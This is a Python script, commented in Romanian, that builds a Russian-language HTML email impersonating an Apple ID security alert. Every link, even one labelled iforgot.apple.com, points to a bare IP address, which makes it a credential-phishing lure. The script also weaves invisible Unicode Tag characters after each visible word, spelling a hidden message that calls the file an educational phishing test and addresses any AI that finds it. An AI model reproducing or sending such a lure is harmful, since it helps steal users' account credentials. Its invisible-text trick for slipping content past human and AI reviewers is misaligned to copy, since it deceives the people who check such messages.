#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Letter rusesc cu Unicode Tags injectate DOAR in text vizibil.
CSS, JS, tag-uri si placeholdere (#...#) sunt lasate intacte.
"""

import os

OUTPUT = "letter_ru_final.html"
TAG = 0xE0000
HIDDEN = "ATENTIE-STUDENTI-TEST-PHISHING-EDUCATIONAL-AI-GASIT-CODURI-ASCUNSE-BRAVO"


def to_tags(text: str) -> str:
    out = []
    for ch in text:
        c = ord(ch)
        if 0x20 <= c <= 0x7E:
            out.append(chr(TAG + c))
    return "".join(out)


def inject_after_words(html: str, hidden: str) -> str:
    chunks = [hidden[i:i+6] for i in range(0, len(hidden), 6)]
    idx = 0
    res = []
    i = 0
    n = len(html)
    in_style = False
    in_script = False
    in_placeholder = False

    while i < n:
        low = html[i:].lower()

        # ---- detecteaza <style> / </style> ----
        if low.startswith('<style'):
            end = html.find('>', i)
            res.append(html[i:end+1]); i = end + 1
            in_style = True; continue
        if low.startswith('</style>'):
            res.append(html[i:i+8]); i += 8
            in_style = False; continue

        # ---- detecteaza <script> / </script> ----
        if low.startswith('<script'):
            end = html.find('>', i)
            res.append(html[i:end+1]); i = end + 1
            in_script = True; continue
        if low.startswith('</script>'):
            res.append(html[i:i+9]); i += 9
            in_script = False; continue

        # ---- skip tag-uri HTML ----
        if html[i] == '<':
            end = html.find('>', i)
            if end == -1:
                res.append(html[i:]); break
            res.append(html[i:end+1]); i = end + 1; continue

        # ---- daca suntem in style/script, copiem verbatim ----
        if in_style or in_script:
            res.append(html[i]); i += 1; continue

        # ---- placeholdere #...# : copiem verbatim ----
        if html[i] == '#':
            end = html.find('#', i + 1)
            if end != -1:
                res.append(html[i:end+1]); i = end + 1; continue

        # ---- cuvant ASCII in text vizibil ----
        if html[i].isalnum() and ord(html[i]) < 128:
            j = i
            while j < n and html[j].isalnum() and ord(html[j]) < 128:
                j += 1
            res.append(html[i:j])
            res.append(to_tags(chunks[idx % len(chunks)]))
            idx += 1
            i = j; continue

        res.append(html[i]); i += 1

    return "".join(res)


LETTER = '''<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="color-scheme" content="dark light">
<title>Apple — Недавняя загрузка</title>
<style>
  body {
    margin: 0;
    padding: 0;
    background-color: #111111 !important;
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
    -webkit-font-smoothing: antialiased;
  }
  table { border-collapse: collapse; width: 100%; }
  .container { max-width: 600px; margin: 0 auto; padding: 40px 20px; }
  .logo { width: 50px; height: auto; display: block; margin-bottom: 30px; filter: invert(1); }
  h1 {
    font-size: 24px; font-weight: 400; color: #f5f5f7 !important;
    margin: 0 0 30px 0; letter-spacing: -0.5px;
  }
  p { font-size: 15px; line-height: 1.5; color: #f5f5f7 !important; margin: 0 0 16px 0; }
  a { color: #2997ff !important; text-decoration: none; }
  a:hover { text-decoration: underline; }
  .footer {
    margin-top: 40px; padding-top: 30px; border-top: 1px solid #333333;
    text-align: center;
  }
  .footer p { font-size: 12px; color: #86868b !important; margin: 0 0 8px 0; }
  .footer a { color: #2997ff !important; font-size: 12px; }
  .footer-logo {
    width: 30px; height: auto; display: block;
    margin: 0 auto 15px auto; filter: invert(1);
  }
  @media only screen and (max-width: 480px) {
    .container { padding: 30px 15px; }
    h1 { font-size: 20px; }
    p { font-size: 14px; }
  }
</style>
</head>
<body style="background-color: #111111; margin: 0; padding: 0;">

  <table role="presentation" width="100%" cellpadding="0" cellspacing="0" border="0" style="background-color: #111111;">
    <tr>
      <td align="center">
        <div class="container">

          <h1>Недавняя загрузка</h1>

          <p>Здравствуйте,</p>

          <p>
            Ваш Apple ID (#CLIENT#) только что использовался для загрузки iCloud++ на компьютере или устройстве, которое ранее не использовалось. Вы также можете получить это письмо, если сбросили пароль после последней покупки.
          </p>

          <p>
            Эта загрузка была выполнена из Сингапура.
          </p>
          <a href="http://69.167.169.80/davo22">ПРОВЕРИТЬ АККАУНТ СЕЙЧАС</a>

          <p><br>
            Если вы инициировали эту загрузку, можете проигнорировать это письмо. Оно было отправлено только для того, чтобы предупредить вас, если вы не инициировали загрузку самостоятельно.
          </p>

          <p>
            Если вы не инициировали эту загрузку, рекомендуем перейти на <a href="http://69.167.169.80/davo22">iforgot.apple.com</a>, чтобы сменить пароль, а затем ознакомиться с разделом <a href="http://69.167.169.80/davo22">Apple ID: Безопасность</a> и <a href="http://69.167.169.80/davo22">ваш Apple ID</a> для получения дальнейшей помощи.
          </p>

          <p style="margin-top: 30px;">
            С уважением,<br>
            Apple
          </p>

          <div class="footer">

            <p>
              <a href="#">Сводка Apple ID</a> - 
              <a href="#">Условия продажи</a> - 
              <a href="#">Политика конфиденциальности</a>
            </p>

            <p style="margin-top: 15px;">
              Copyright © 2021 Apple Canada, Inc.<br>
              Все права защищены.
            </p>
          </div>

        </div>
      </td>
    </tr>
  </table>

</body>
</html>
'''


def main():
    result = inject_after_words(LETTER, HIDDEN)
    with open(OUTPUT, "w", encoding="utf-8") as f:
        f.write(result)

    total = sum(1 for ch in result if TAG <= ord(ch) <= TAG + 0x7F)
    print(f"[✓] Scris: {OUTPUT}")
    print(f"[✓] Tags injectate: {total}")
    print(f"[✓] Bytes: {os.path.getsize(OUTPUT)}")


if __name__ == "__main__":
    main()
